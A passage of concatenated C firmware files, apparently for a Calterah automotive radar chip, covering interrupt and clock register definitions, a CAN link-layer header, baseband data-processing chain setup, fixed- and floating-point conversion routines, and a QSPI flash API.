#define PWM_INTR_0 82
#define BB_IRQ_W_1 83
#define BB_IRQ_W_2 84
#define INTNO_TIMER0 16 /*!< ARC TIMER0 */
#define INTNO_TIMER1 17 /*!< ARC TIMER1 */
#define INTNO_BB 20 /*!< BASEBAND IRQ */
#define INTNO_BB_SAM_DONE BB_IRQ_W_2 /*!< BASEBAND IRQ */
#define INTNO_UART0 21 /*!< UART0 */
#define INTNO_UART1 22 /*!< UART1 */
#define INTNO_I2C0 23 /*!< I2C_0 CONTROLLER */
#define INTNO_SPI_MASTER 24 /*!< SPI MASTER CONTROLLER */
#define INTNO_SPI_MASTER0 24 /*!< SPI MASTER CONTROLLER */
#define INTNO_SPI_MASTER1 25 /*!< SPI MASTER CONTROLLER */
#define INTNO_SPI_SLAVE 26 /*!< SPI SLAVE CONTROLLER */
#define INTNO_QSPI_MASTER 27 /*!< QSPI MASTER CONTROLLER */
#define INTNO_CAN0 28 /*!< CAN0 */
#define INTNO_CAN1 29 /*!< CAN1 */
#define INTNO_FSM 30 /*!< FUNCTIONAL SAFETY */
#define INTNO_GPIO GPIO_IRQ_0 /*!< GPIO CONTROLLER */
#define INTNO_DW_TIMER0 TIMER_INTR_0
#define INTNO_DW_TIMER1 TIMER_INTR_1
#define INTNO_DW_TIMER2 TIMER_INTR_2
#define INTNO_DW_TIMER3 TIMER_INTR_3
#define INTNO_CAN0_1 CAN_0_IRQ1 /*!< CAN0 1 */
#define INTNO_CAN0_2 CAN_0_IRQ2 /*!< CAN0 2 */
#define INTNO_CAN0_3 CAN_0_IRQ3 /*!< CAN0 3 */
#define INTNO_CAN1_1 CAN_1_IRQ1 /*!< CAN1 1 */
#define INTNO_CAN1_2 CAN_1_IRQ2 /*!< CAN1 2 */
#define INTNO_CAN1_3 CAN_1_IRQ3 /*!< CAN1 3 */
#define INTNO_DW_PWM0 PWM_INTR_0
#define INTNO_DW_PWM1 PWM_INTR_1
#endif
<file_sep>#ifndef _ALPS_B_CLOCK_REG_H_
#define _ALPS_B_CLOCK_REG_H_
#include "alps_hardware.h"
#define REG_CLKGEN_SEL_300M (REL_REGBASE_CLKGEN + 0x0)
#define REG_CLKGEN_SEL_400M (REL_REGBASE_CLKGEN + 0x4)
#define REG_CLKGEN_READY_50M (REL_REGBASE_CLKGEN + 0x8)
#define REG_CLKGEN_READY_PLL (REL_REGBASE_CLKGEN + 0xC)
#define REG_CLKGEN_DIV_AHB (REL_REGBASE_CLKGEN + 0x10)
#define REG_CLKGEN_DIV_CPU (REL_REGBASE_CLKGEN + 0x14)
#define REG_CLKGEN_DIV_CAN_0 (REL_REGBASE_CLKGEN + 0x18)
#define REG_CLKGEN_DIV_CAN_1 (REL_REGBASE_CLKGEN + 0x1C)
#define REG_CLKGEN_ENA_FLASH_CTRL (REL_REGBASE_CLKGEN + 0x20)
#define REG_CLKGEN_ENA_BB (REL_REGBASE_CLKGEN + 0x24)
#define REG_CLKGEN_ENA_UART_0 (REL_REGBASE_CLKGEN + 0x28)
#define REG_CLKGEN_ENA_UART_1 (REL_REGBASE_CLKGEN + 0x2C)
#define REG_CLKGEN_ENA_I2C (REL_REGBASE_CLKGEN + 0x30)
#define REG_CLKGEN_ENA_SPI_M0 (REL_REGBASE_CLKGEN + 0x34)
#define REG_CLKGEN_ENA_SPI_M1 (REL_REGBASE_CLKGEN + 0x38)
#define REG_CLKGEN_ENA_SPI_S (REL_REGBASE_CLKGEN + 0x3C)
#define REG_CLKGEN_ENA_QSPI (REL_REGBASE_CLKGEN + 0x40)
#define REG_CLKGEN_ENA_GPIO (REL_REGBASE_CLKGEN + 0x44)
#define REG_CLKGEN_ENA_CAN_0 (REL_REGBASE_CLKGEN + 0x48)
#define REG_CLKGEN_ENA_CAN_1 (REL_REGBASE_CLKGEN + 0x4C)
#define REG_CLKGEN_ENA_DAC_OUT (REL_REGBASE_CLKGEN + 0x50)
#define REG_CLKGEN_ENA_GPIO_OUT (REL_REGBASE_CLKGEN + 0x54)
#define REG_CLKGEN_DIV_APB (REL_REGBASE_CLKGEN + 0x8C)
#define REG_CLKGEN_DIV_APB_REF (REL_REGBASE_CLKGEN + 0x90)
#define REG_CLKGEN_ENA_ROM (REL_REGBASE_CLKGEN + 0x94)
#define REG_CLKGEN_ENA_RAM (REL_REGBASE_CLKGEN + 0x98)
#define REG_CLKGEN_ENA_CRC (REL_REGBASE_CLKGEN + 0x9C)
#define REG_CLKGEN_ENA_TIMER (REL_REGBASE_CLKGEN + 0xA4)
#define REG_CLKGEN_ENA_DMU (REL_REGBASE_CLKGEN + 0xAC)
#define REG_CLKGEN_DIV_MEM (REL_REGBASE_CLKGEN + 0xB4)
#define REG_CLKGEN_ENA_PWM (REL_REGBASE_CLKGEN + 0xBC)
#define REG_CLKGEN_RSTN_FLASH_CTRL (REL_REGBASE_CLKGEN + 0x58)
#define REG_CLKGEN_RSTN_BB (REL_REGBASE_CLKGEN + 0x5C)
#define REG_CLKGEN_RSTN_UART_0 (REL_REGBASE_CLKGEN + 0x60)
#define REG_CLKGEN_RSTN_UART_1 (REL_REGBASE_CLKGEN + 0x64)
#define REG_CLKGEN_RSTN_I2C (REL_REGBASE_CLKGEN + 0x68)
#define REG_CLKGEN_RSTN_SPI_M0 (REL_REGBASE_CLKGEN + 0x6C)
#define REG_CLKGEN_RSTN_SPI_M1 (REL_REGBASE_CLKGEN + 0x70)
#define REG_CLKGEN_RSTN_SPI_S (REL_REGBASE_CLKGEN + 0x74)
#define REG_CLKGEN_RSTN_QSPI (REL_REGBASE_CLKGEN + 0x78)
#define REG_CLKGEN_RSTN_GPIO (REL_REGBASE_CLKGEN + 0x7C)
#define REG_CLKGEN_RSTN_CAN_0 (REL_REGBASE_CLKGEN + 0x80)
#define REG_CLKGEN_RSTN_CAN_1 (REL_REGBASE_CLKGEN + 0x84)
#define REG_CLKGEN_RSTN_DMA (REL_REGBASE_CLKGEN + 0x88)
#define REG_CLKGEN_RSTN_CRC (REL_REGBASE_CLKGEN + 0xA0)
#define REG_CLKGEN_RSTN_TIMER (REL_REGBASE_CLKGEN + 0xA8)
#define REG_CLKGEN_RSTN_DMU (REL_REGBASE_CLKGEN + 0xB0)
#define REG_CLKGEN_RSTN_PWM (REL_REGBASE_CLKGEN + 0xB8)
#endif
<file_sep>#ifndef _CAN_DLL_H_
#define _CAN_DLL_H_
typedef enum can_frame_format {
CAN_CBFF = 0,
CAN_CEFF,
CAN_FBFF,
CAN_FEFF
} can_frame_format_t;
typedef enum can_dll_tx_status {
CAN_XFER_DONE = 0,
CAN_XFER_ERROR,
/* TODO: dll need timer ? CAN_XFER_TIMEOUT, */
can_XFER_PREPARE,
CAN_XFER_BUF_FILLING,
CAL_XFER_TRANSFERING
} can_dll_xfer_sts_t;
typedef int32_t (*dll_indication)(uint32_t id, uint32_t dlc, uint8_t *data);
typedef int32_t (*dll_confirm)(int32_t id, uint32_t xfer_status);
typedef int32_t (*dll_remote_indication)(uint32_t id, uint32_t dlc);
typedef int32_t (*dll_remote_confirm)(int32_t id, uint32_t xfer_status);
int32_t can_dll_init(void);
int32_t can_dll_request(uint32_t id, uint32_t dlc, uint8_t *data);
int32_t can_dll_remote_request(uint32_t id, uint32_t dlc);
int32_t can_dll_indication_register(dll_indication func);
int32_t can_dll_confirm_register(dll_confirm func);
int32_t can_dll_remote_indication_register(dll_remote_indication func);
int32_t can_dll_remote_confirm_register(dll_remote_confirm func);
#endif
<file_sep>#include "baseband_dpc.h"
#include "sensor_config.h"
#include "baseband_hw.h"
#include "baseband_cas.h"
#include "FreeRTOS.h"
#include "queue.h"
#include "vel_deamb_MF.h"
#include "baseband_cli.h"
#include "cascade.h"
extern QueueHandle_t queue_bb_isr;
static baseband_data_proc_t bb_dpc[DPC_SIZE];
static bool dpc_hil_en = false; /* flag used to re-init data process chain after hil */
void baseband_data_proc_default();
void baseband_start_dpc(baseband_data_proc_t * dp, baseband_t *bb);
void baseband_data_proc_cascade();
void bb_dpc_sysen_set(uint8_t bb_dpc_ind, uint16_t bb_sysen)
{
if (bb_dpc_ind < DPC_SIZE)
{
bb_dpc[bb_dpc_ind].sys_enable = bb_sysen;
} else {
EMBARC_PRINTF("Max dpc size is %d\n", DPC_SIZE);
}
}
/* request the status of data process chain */
bool baseband_data_proc_req()
{
bool tmp = dpc_hil_en;
if (dpc_hil_en)
dpc_hil_en = false;
return tmp;
}
void baseband_data_proc_init()
{
#ifndef CHIP_CASCADE
#if VEL_DEAMB_MF_EN
bb_dpc_config(bb_dpc);
baesband_frame_interleave_strategy_set(VELAMB, 3, CFG_0, CFG_1);
baesband_frame_interleave_cnt_clr();
#else
baseband_data_proc_default();
#endif // VEL_DEAMB_MF_EN
#else
baseband_data_proc_cascade();
#endif // CHIP_CASCADE
}
bool baseband_data_proc_run(baseband_data_proc_t * dp)
{
uint32_t event = 0;
baseband_t* bb;
if (dp->fi_recfg)
bb = baseband_frame_interleave_recfg();
else
bb = baseband_get_rtl_frame_type(); // align with hardware frame type
if (dp->pre)
dp->pre(bb);
baseband_start_dpc(dp, bb); // hw start
if (dp->post)
dp->post(bb);
if (!dp->end) {
if(xQueueReceive(queue_bb_isr, &event, portMAX_DELAY) == pdTRUE) {
if (dp->post_irq)
dp->post_irq(bb);
}
}
return dp->end;
}
baseband_data_proc_t* baseband_get_dpc()
{
return bb_dpc;
}
void baseband_data_proc_default()
{
bb_dpc[0].pre = NULL;
bb_dpc[0].post = NULL;
bb_dpc[0].post_irq = NULL;
bb_dpc[0].fi_recfg = true;
bb_dpc[0].stream_on = true;
bb_dpc[0].radio_en = true;
bb_dpc[0].tx_en = true;
sensor_config_t* cfg = sensor_config_get_config(0);
bb_dpc[0].sys_enable =
SYS_ENA(AGC , cfg->agc_mode == 0 ? 0: 1)
|SYS_ENA(SAM , true )
|SYS_ENA(FFT_2D, true )
|SYS_ENA(CFR , true )
|SYS_ENA(BFM , true );
bb_dpc[0].cas_sync_en = true;
bb_dpc[0].sys_irq_en = BB_IRQ_ENABLE_ALL;
bb_dpc[0].track_en = true;
bb_dpc[0].end = true;
}
void baseband_start_dpc(baseband_data_proc_t * dp, baseband_t *bb)
{
uint16_t sys_enable_new = 0;
if (dp->stream_on)
sys_enable_new = (dp->sys_enable)
|SYS_ENA(DMP_MID, baseband_stream_on_dmp_mid())
|SYS_ENA(FFT_1D , baseband_stream_on_fft1d() )
|SYS_ENA(DMP_FNL, baseband_stream_on_dmp_fnl());
else
sys_enable_new = dp->sys_enable;
baseband_start_with_params(bb, dp->radio_en, dp->tx_en, sys_enable_new,
dp->cas_sync_en, dp->sys_irq_en, dp->track_en);
}
/* HIL */
void baseband_data_proc_hil(uint16_t bb_ena_0, uint16_t bb_ena_1, uint16_t bb_ena_2)
{
dpc_hil_en = true; /* flag used to re-init data process chain after hil */
bool dpc_end_0 = false;
bool dpc_end_1 = false;
bool dpc_end_2 = false;
if (bb_ena_1 == 0 && bb_ena_2 == 0)
dpc_end_0 = true;
if (bb_ena_1 != 0 && bb_ena_2 == 0)
dpc_end_1 = true;
if (bb_ena_2 != 0)
dpc_end_2 = true;
/* 1st run */
bb_dpc[0].pre = (bb_ena_1 !=0) ? baseband_hil_dump_done : NULL; /* done for FPGA to switch the direction of dbgbus */
bb_dpc[0].post = baseband_hil_input_enable;
bb_dpc[0].post_irq = baseband_hil_input_disable; /* only run when bb_ena_1 != 0*/
bb_dpc[0].fi_recfg = true;
bb_dpc[0].stream_on = false;
bb_dpc[0].radio_en = false;
bb_dpc[0].tx_en = false;
bb_dpc[0].sys_enable = bb_ena_0;
bb_dpc[0].cas_sync_en = false;
bb_dpc[0].sys_irq_en = BB_IRQ_ENABLE_BB_DONE;
bb_dpc[0].track_en = dpc_end_0; /* enable track at the end of hil */
bb_dpc[0].end = dpc_end_0;
/* 2nd run */
bb_dpc[1].pre = baseband_hil_dump_enable;
bb_dpc[1].post = NULL;
bb_dpc[1].post_irq = NULL;
bb_dpc[1].fi_recfg = false;
bb_dpc[1].stream_on = false;
bb_dpc[1].radio_en = false;
bb_dpc[1].tx_en = false;
bb_dpc[1].sys_enable = bb_ena_1;
bb_dpc[1].cas_sync_en = false;
bb_dpc[1].sys_irq_en = BB_IRQ_ENABLE_BB_DONE;
bb_dpc[1].track_en = dpc_end_1; /* enable track at the end of hil */
bb_dpc[1].end = dpc_end_1;
/* 3rd run */
bb_dpc[2].pre = NULL;
bb_dpc[2].post = NULL;
bb_dpc[2].post_irq = NULL;
bb_dpc[2].fi_recfg = false;
bb_dpc[2].stream_on = false;
bb_dpc[2].radio_en = false;
bb_dpc[2].tx_en = false;
bb_dpc[2].sys_enable = bb_ena_2;
bb_dpc[2].cas_sync_en = false;
bb_dpc[2].sys_irq_en = BB_IRQ_ENABLE_BB_DONE;
bb_dpc[2].track_en = dpc_end_2; /* enable track at the end of hil */
bb_dpc[2].end = dpc_end_2;
}
#ifdef CHIP_CASCADE
void baseband_data_proc_cascade()
{
if (chip_cascade_status() == CHIP_CASCADE_MASTER) {
// master process 0, SAM-FFT-CFAR
bb_dpc[0].post_irq = baseband_merge_cascade;
bb_dpc[0].fi_recfg = true; // flag for frame type reconfig
bb_dpc[0].stream_on = true;
bb_dpc[0].radio_en = true;
bb_dpc[0].tx_en = true;
sensor_config_t* cfg = sensor_config_get_config(0);
bb_dpc[0].sys_enable = SYS_ENA(AGC , cfg->agc_mode == 0 ? 0: 1)
|SYS_ENA(SAM , true )
|SYS_ENA(FFT_2D, true )
|SYS_ENA(CFR , true );
bb_dpc[0].cas_sync_en = true;
bb_dpc[0].sys_irq_en = BB_IRQ_ENABLE_ALL;
bb_dpc[0].track_en = true;
bb_dpc[0].end = false;
// master process 1, DOA only
bb_dpc[1].fi_recfg = false; // flag for frame type reconfig
bb_dpc[1].stream_on = false;
bb_dpc[1].radio_en = false;
bb_dpc[1].tx_en = false;
bb_dpc[1].sys_enable = SYS_ENA(BFM , true);
bb_dpc[1].cas_sync_en = false;
bb_dpc[1].sys_irq_en = BB_IRQ_ENABLE_ALL;
bb_dpc[1].track_en = false;
bb_dpc[1].end = true;
} else {
// slave process 0, SAM-FFT-CFAR
bb_dpc[0].fi_recfg = true; // flag for frame type reconfig
bb_dpc[0].stream_on = true;
bb_dpc[0].radio_en = false; // no need fmcw in slave
bb_dpc[0].tx_en = false;
sensor_config_t* cfg = sensor_config_get_config(0);
bb_dpc[0].sys_enable = SYS_ENA(AGC , cfg->agc_mode == 0 ? 0: 1)
|SYS_ENA(SAM , true )
|SYS_ENA(FFT_2D, true )
|SYS_ENA(CFR , true );
bb_dpc[0].cas_sync_en = true;
bb_dpc[0].sys_irq_en = BB_IRQ_ENABLE_ALL;
bb_dpc[0].track_en = true;
bb_dpc[0].end = true;
}
}
#endif
<file_sep>#include "calterah_data_conversion.h"
#include "math.h"
#include "stdio.h"
#ifdef UNIT_TEST
#define EMBARC_ASSERT(t)
#else
#include "embARC_assert.h"
#endif
float fx_to_float(uint32_t val, uint32_t W, int32_t I, bool sign)
{
EMBARC_ASSERT(W<32);
int32_t pow_i = I-W;
float tpow = pow(2.0, 1.0 * pow_i);
uint32_t d_max = 1<<(sign ? W-1 : W);
float retval = 0;
if (sign) {
int32_t d = val < d_max ? val : val - 2 * d_max;
retval = d * tpow;
} else {
retval = val * tpow;
}
return retval;
}
float fl_to_float(uint32_t val, uint32_t W_m, int32_t I, bool sign_m, uint32_t W_e, bool sign_e)
{
uint32_t d_e = (~((-1L) << W_e)) & val;
uint32_t d_e_max = 1 << (sign_e ? W_e-1 : W_e);
if (sign_e)
d_e = d_e < d_e_max ? d_e : d_e - 2 * d_e_max;
uint32_t d_m = val >> W_e;
int32_t pow = sign_e ? I + d_e : I - d_e;
return fx_to_float(d_m, W_m, pow, sign_m);
}
complex_t cfx_to_complex(uint32_t val, uint32_t W, int32_t I, bool sign)
{
EMBARC_ASSERT(W<16);
uint32_t dy = (~((-1L) << W)) & val;
uint32_t dx = val >> W;
complex_t ret;
ret.r = fx_to_float(dx, W, I, sign);
ret.i = fx_to_float(dy, W, I, sign);
return ret;
}
complex_t cfl_to_complex(uint32_t val, uint32_t W_m, int32_t I, bool sign_m, uint32_t W_e, bool sign_e)
{
uint32_t d_e = (~((-1L) << W_e)) & val;
uint32_t d_e_max = 1 << (sign_e ? W_e-1 : W_e);
if (sign_e)
d_e = d_e < d_e_max ? d_e : d_e - 2 * d_e_max;
uint32_t d_m = val >> W_e;
int32_t pow = sign_e ? I + d_e : I - d_e;
return cfx_to_complex(d_m, W_m, pow, sign_m);
}
uint32_t float_to_fx_trunc(double val, uint32_t W, int32_t I, bool sign, bool truc)
{
EMBARC_ASSERT(W < 32);
uint32_t retval = 0;
int32_t pow = W-I;
uint32_t mask = -1L << (sign ? W-1 : W);
int32_t d_min = sign ? ((int32_t) mask) : 0;
uint32_t d_max = ~mask;
double tmp = pow > 0 ? ((double)val) * (1 << pow) : ((double)val) / (1 << (-pow));
if (truc)
tmp = floor(tmp);
else
tmp = round(tmp);
if (d_min > tmp)
retval = d_min;
else if (d_max < tmp)
retval = d_max;
else
/* It is very trick: we need to convert it to int32_t instead of uint32_t!*/
retval = (int32_t) tmp;
return retval & (~(-1L << W));
}
uint32_t float_to_fl_com(float val, uint32_t W_m, int32_t I_m, bool sign_m, uint32_t W_e, bool sign_e, bool epos)
{
uint32_t retval = 0;
uint32_t retzero = 0;
int exp_min = sign_e ? -(1 << (W_e - 1)) : epos ? 0 : -(1 << W_e) + 1;
int exp_max = sign_e ? (1 << (W_e - 1)) - 1 : epos ? (1 << W_e) - 1 : 0;
int exp = exp_min;
if (sign_e == false)
exp = -exp; /* it is correct no matter epos is true or false */
retzero |= exp & ((1 << W_e) - 1);
if ((val == 0) || (val < 0 && sign_m == false))
return retzero;
exp = 0;
double tmp_val = (double)val;
if (tmp_val > 0) {
int integer_len = sign_m ? I_m - 1 : I_m;
int tmp = -integer_len + 1;
double min = integer_len > 0 ? (double)(1 << (integer_len - 1)) : (double)1.0 / (1 << tmp);
double max = min * 2;
while ((tmp_val < min) && (exp > exp_min)) {
tmp_val = tmp_val * 2;
exp--;
}
while ((tmp_val >= max) && (exp < exp_max)) {
tmp_val = tmp_val / 2;
exp++;
}
} else {
int pow = I_m - 1;
double min;
if (pow < 0) {
int rev = -pow;
min = (double)(-1.0) / (1 << rev);
} else {
min = (double)(-1.0) * (1 << pow);
}
double max = min / 2;
while ((tmp_val < min) && (exp < exp_max)) {
tmp_val = tmp_val / 2;
exp++;
}
while ((tmp_val >= max) && (exp > exp_min)) {
tmp_val = tmp_val * 2;
exp--;
}
}
uint32_t mantissa = float_to_fx_trunc(tmp_val, W_m, I_m, sign_m, true);
if (sign_e == false && epos == false)
exp = -exp;
retval |= exp & ((1 << W_e) - 1);
retval |= mantissa << W_e;
return retval;
}
uint64_t complex_to_cfl_dwords_com(complex_t *val,
uint32_t W_m, int32_t I_m, bool sign_m,
uint32_t W_e, bool sign_e, bool epos)
{
double real = val->r;
double imag = val->i;
uint64_t retval = 0;
uint64_t retzero = 0;
int exp_min = sign_e ? -(1 << (W_e - 1)) : epos ? 0 : -(1 << W_e) + 1;
int exp_max = sign_e ? (1 << (W_e - 1)) - 1 : epos ? (1 << W_e) - 1 : 0;
int exp = exp_min;
if (sign_e == false)
exp = -exp; /* it is correct no matter epos is true or false */
retzero |= exp & ((1 << W_e) - 1);
real = (real < 0 && sign_m == false) ? 0 : real;
imag = (imag < 0 && sign_m == false) ? 0 : imag;
if (real == 0 && imag == 0) {
return retzero;
}
double max_abs = fabs(real) >= fabs(imag) ? (fabs(real) == fabs(imag) ? (real > imag ? real : imag) : real) : imag;
exp = 0;
if (max_abs > 0) {
int integer_len = sign_m ? I_m - 1 : I_m;
int tmp = -integer_len + 1;
double min = integer_len > 0 ? (double)(1 << (integer_len - 1)) : (double)1.0 / (1 << tmp);
double max = min * 2;
while ((max_abs < min) && (exp > exp_min)) {
max_abs = max_abs * 2;
real = real * 2;
imag = imag * 2;
exp--;
}
while ((max_abs >= max) && (exp < exp_max)) {
max_abs = max_abs / 2;
real = real / 2;
imag = imag / 2;
exp++;
}
} else {
int pow = I_m - 1;
double min;
if (pow < 0) {
int rev = -pow;
min = (double)(-1.0) / (1 << rev);
} else {
min = (double)(-1.0) * (1 << pow);
}
double max = min / 2;
while ((max_abs < min) && (exp < exp_max)) {
max_abs = max_abs / 2;
real = real / 2;
imag = imag / 2;
exp++;
}
while ((max_abs >= max) && (exp > exp_min)) {
max_abs = max_abs * 2;
real = real * 2;
imag = imag * 2;
exp--;
}
}
uint32_t mantissa_r = float_to_fx_trunc(real, W_m, I_m, sign_m, true);
uint32_t mantissa_i = float_to_fx_trunc(imag, W_m, I_m, sign_m, true);
if (sign_e == false && epos == false)
exp = -exp;
retval |= exp & ((1 << W_e) - 1);
retval |= (uint64_t)mantissa_i << W_e;
retval |= (uint64_t)mantissa_r << (W_e + W_m);
return retval;
}
uint32_t complex_to_cfx(complex_t *val, uint32_t W, int32_t I, bool sign)
{
EMBARC_ASSERT(W<16);
uint32_t r, i;
r = float_to_fx(val->r, W, I, sign);
i = float_to_fx(val->i, W, I, sign);
uint32_t ret = (r << W) | i;
return ret;
}
uint32_t complex_to_cfl(complex_t *val, uint32_t W_m, int32_t I_m, bool sign_m, uint32_t W_e, bool sign_e)
{
EMBARC_ASSERT(2 * W_m + W_e <= 32);
return (uint32_t)complex_to_cfl_dwords_com(val, W_m, I_m, sign_m, W_e, sign_e, false);
}
uint64_t complex_to_cfl_dwords(complex_t *val, uint32_t W_m, int32_t I_m, bool sign_m, uint32_t W_e, bool sign_e)
{
/* when W_m*2 + W_e > 32, this function should be called instead of complex_to_cfl */
EMBARC_ASSERT(2 * W_m + W_e <= 64);
return complex_to_cfl_dwords_com(val, W_m, I_m, sign_m, W_e, sign_e, false);
}
uint32_t float_to_fx(float val, uint32_t W, int32_t I, bool sign)
{
return float_to_fx_trunc(val, W, I, sign, false);
}
uint32_t float_to_fl(float val, uint32_t W_m, int32_t I_m, bool sign_m, uint32_t W_e, bool sign_e) {
return float_to_fl_com(val, W_m, I_m, sign_m, W_e, sign_e, false);
}
<file_sep>#ifndef _FLASH_H_
#define _FLASH_H_
#include "dw_ssi.h"
typedef struct qspi_transfer_config {
uint8_t clock_mode;
uint8_t dfs;
uint8_t cfs;
uint8_t spi_frf;
} qspi_xfer_cfg_t;
/***************************************************************
** description: program external flash memory.
** @argument:
** @addr: flash memory address.
** @data: data buffer, qspi controller's data frame size is 8.
** @len: data length. unit is byte.
** @return: 0 -> successful, < 0 --> failed.
*******************************************************************/
int32_t flash_memory_writeb(uint32_t addr, const uint8_t *data, uint32_t len);
int32_t flash_memory_writew(uint32_t addr, const uint32_t *data, uint32_t len);
/***************************************************************
** description: erase external flash memory.
** @argument:
** @addr: flash memory address.
** @len: data length. unit is byte.
**b@return: 0 -> successful, < 0 --> failed.
*******************************************************************/
int32_t flash_memory_erase(uint32_t addr, uint32_t len);
//int flash_chip_erase(void);
/***************************************************************
** description: read data from external flash memory.
** @argument:
** @addr: flash memory address.
** @data: receive data buffer, qspi controller's data frame size is 8.
** @len: data length. unit is byte.
** @return: 0 -> successful, < 0 --> failed.
*******************************************************************/
int32_t flash_memory_readb(uint32_t addr, uint8_t *data, uint32_t len);
int32_t flash_memory_readw(uint32_t addr, uint32_t *data, uint32_t len);
int32_t flash_xip_decrypt(uint32_t *src, uint32_t *dst, uint32_t len);
int32_t flash_xip_encrypt(uint32_t *src, uint32_t *dst, uint32_t len);
/***************************************************************
** description: reset external flash device.
*******************************************************************/
int32_t flash_reset(void);
int32_t flash_init(void);
void flash_cli_register(void);
int32_t flash_program_resume(void);
int32_t flash_quad_entry(void);
int32_t flash_wait_status(dw_ssi_t *dw_ssi, uint32_t status, uint32_t cont_sts);
#define flash_memory_write flash_memory_writeb
#define flash_memory_read flash_memory_readb
#endif
<file_sep>#ifndef _CAN_REG_H_
#define _CAN_REG_H_
#define REG_CAN_VERSION_OFFSET (0x0000)
#define REG_CAN_MODE_CTRL_OFFSET (0x0004)
#define REG_CAN_PROTOCOL_CTRL_OFFSET (0x0008)
#define REG_CAN_TIMESTAMP_COUNTER_CFG_OFFSET (0x000C)
#define REG_CAN_TIMESTAMP_COUNTER_VAL_OFFSET (0x0010)
#define REG_CAN_DATA_BIT_TIME_CTRL_OFFSET (0x0014)
#define REG_CAN_NOMINAL_BIT_TIME_CTRL_OFFSET (0x0018)
#define REG_CAN_ERROR_COUNTER_OFFSET (0x001C)
#define REG_CAN_PROTOCOL_STATUS_OFFSET (0x0020)
#define REG_CAN_ECC_ERROR_STATUS_OFFSET (0x0024)
#define REG_CAN_TRANSMIT_DELAY_COM_OFFSET (0x0028)
#define REG_CAN_TIMEOUT_COUNTER_OFFSET (0x002C)
#define REG_CAN_TIMEOUT_COUNTER_VAL_OFFSET (0x0030)
#define REG_CAN_INTERRUPT_OFFSET (0x0034)
#define REG_CAN_INTERRUPT_ENABLE_OFFSET (0x0038)
#define REG_CAN_INTERRUPT_LINE_SELECT0_OFFSET (0x003C)
#define REG_CAN_INTERRUPT_LINE_SELECT1_OFFSET (0x0040)
#define REG_CAN_INTERRUPT_LINE_ENABLE_OFFSET (0x0044)
#define REG_CAN_ID_FILTER_CTRL_OFFSET (0x0048)
#define REG_CAN_EXTEND_ID_AND_MASK_OFFSET (0x004C)
#define REG_CAN_RX_ELEMENT_SIZE_CFG_OFFSET (0x0050)
#define REG_CAN_RX_BUFFER_STATUS0_OFFSET (0x0054)
#define REG_CAN_RX_BUFFER_STATUS1_OFFSET (0x0058)
#define REG_CAN_RX_FIFO_CFG_OFFSET (0x005C)
#define REG_CAN_RX_FIFO_STATUS_OFFSET (0x0060)
#define REG_CAN_TX_ELEMENT_SIZE_CFG_OFFSET (0x0064)
#define REG_CAN_TX_BUF_REQ_PENDING0_OFFSET (0x0068)
#define REG_CAN_TX_BUF_REQ_PENDING1_OFFSET (0x006C)
#define REG_CAN_TX_BUF_ADD_REQ0_OFFSET (0x0070)
#define REG_CAN_TX_BUF_ADD_REQ1_OFFSET (0x0074)
#define REG_CAN_TX_BUF_CANCEL_REQ0_OFFSET (0x0078)
#define REG_CAN_TX_BUF_CANCEL_REQ1_OFFSET (0x007C)
#define REG_CAN_TX_BUF_TRANS_OCCURRED0_OFFSET (0x0080)
#define REG_CAN_TX_BUF_TRANS_OCCURRED1_OFFSET (0x0084)
#define REG_CAN_TX_BUF_CANCEL_FINISHED0_OFFSET (0x0088)
#define REG_CAN_TX_BUF_CANCEL_FINISHED1_OFFSET (0x008C)
#define REG_CAN_TX_BUF_TRANS_INT_EN0_OFFSET (0x0090)
#define REG_CAN_TX_BUF_TRANS_INT_EN1_OFFSET (0x0094)
#define REG_CAN_TX_BUF_CANCELED_INT_EN0_OFFSET (0x0098)
#define REG_CAN_TX_BUF_CANCELED_INT_EN1_OFFSET (0x009C)
#define REG_CAN_TX_FIFO_CFG_OFFSET (0x00A0)
#define REG_CAN_TX_FIFO_STATUS_OFFSET (0x00A4)
#define REG_CAN_TX_EVENT_FIFO_CFG_OFFSET (0x00A8)
#define REG_CAN_TX_EVENT_FIFO_STATUS_OFFSET (0x00AC)
#define REG_CAN_RX_FIFO_ELEMENT_OFFSET(id) (0x00B0 + ((id) << 2))
#define REG_CAN_TX_FIFO_ELEMENT_OFFSET(id) (0x00F8 + ((id) << 2))
#define REG_CAN_TX_EV_FIFO_ELEMENT_OFFSET(id) (0x0140 + ((id) << 2))
#define REG_CAN_TX_BUFFER_OFFSET (0x1000)
#define REG_CAN_RX_BUFFER_OFFSET (0x1C00)
#define REG_CAN_STD_ID_FILTER_OFFSET (0x2400)
#define REG_CAN_EXT_ID_FILTER_OFFSET (0x2800)
#define REG_CAN_EXT_ID_FILTER_ELEMENT_F1_OFFSET (0x4)
/* mode control. */
#define BIT_MODE_CTRL_TDENA (1 << 18)
#define BIT_MODE_CTRL_RDENA (1 << 17)
#define BIT_MODE_CTRL_ECCENA (1 << 16)
#define BIT_MODE_CTRL_TESTRX (1 << 10)
#define BITS_MODE_CTRL_TESTRX_SHIFT (8)
#define BITS_MODE_CTRL_TESTRX_MASK (0x3)
#define BIT_MODE_CTRL_TEST (1 << 7)
#define BIT_MODE_CTRL_SLEEP (1 << 6)
#define BIT_MODE_CTRL_SPACK (1 << 5)
#define BIT_MODE_CTRL_ROPT (1 << 4)
#define BIT_MODE_CTRL_MON (1 << 3)
#define BIT_MODE_CTRL_LBACK (1 << 2)
#define BIT_MODE_CTRL_CFG (1 << 1)
#define BIT_MODE_CTRL_RESET (1 << 0)
/* protocol control. */
#define BIT_PROTOCOL_CTRL_FDD (1 << 31)
#define BIT_PROTOCOL_CTRL_FDO (1 << 3)
#define BIT_PROTOCOL_CTRL_BRS (1 << 2)
#define BIT_PROTOCOL_CTRL_TDC (1 << 1)
#define BIT_PROTOCOL_CTRL_ART (1 << 0)
/* timestamp counter configure. */
#define BITS_TIMESTAMP_CFG_TSCP_SHIFT (16)
#define BITS_TIMESTAMP_CFG_TSCP_MASK (0xF)
#define BITS_TIMESTAMP_CFG_TSCM_SHIFT (0)
#define BITS_TIMESTAMP_CFG_TSCM_MASK (0x3)
/* data bit time control. */
#define BITS_DATA_BIT_TIME_CTRL_DSJW_SHIFT (24)
#define BITS_DATA_BIT_TIME_CTRL_DSJW_MASK (0xF)
#define BITS_DATA_BIT_TIME_CTRL_DBRP_SHIFT (16)
#define BITS_DATA_BIT_TIME_CTRL_DBRP_MASK (0x1F)
#define BITS_DATA_BIT_TIME_CTRL_DTSEG1_SHIFT (8)
#define BITS_DATA_BIT_TIME_CTRL_DTSEG1_MASK (0x1F)
#define BITS_DATA_BIT_TIME_CTRL_DTSEG2_SHIFT (0)
